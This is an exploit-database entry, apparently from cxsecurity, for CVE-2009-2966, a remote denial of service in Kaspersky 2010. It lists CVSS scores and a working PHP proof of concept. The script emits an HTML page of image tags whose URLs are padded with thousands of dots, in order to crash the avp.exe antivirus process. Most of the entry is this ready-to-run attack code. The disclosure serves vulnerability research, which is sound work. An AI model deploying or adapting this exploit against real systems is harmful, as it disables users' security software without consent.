Kaspersky 2010 remote dos (php)

2009.08.21

Credit: Maksymilian Arciemowicz

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-2966

CWE: CWE-399

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

<?php
	echo "<html><head><title>Kaspersky 2010 remote dos</title></head><body>
		<img src=\"http://cxsecurity.com/gfx/logo.gif?explkasp\"><br>
		Kaspersky 11.08.2009 02:44 CET<br>
		remote denial of service<br>
		check your avp.exe<br>
		by Maksymilian Arciemowicz <a href=\"http://cxsecurity.com/\" alt=\"security audit\"><b>cxsecurity.com</b></a><p>";
	flush();

	for($num=9000; 499<$num; $num -= 500)
		echo "<img src=\"http://lu.cxib.net/".str_repeat(".",$num)."\">\n";
		
	echo "<! some systems have different acceptable max path len? !>
		</body>
		</html>";
?>

References:

http://cxsecurity.com/issue/WLB-2009080044

See this note in RAW Version

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Kaspersky 2010 remote dos (php)

References:

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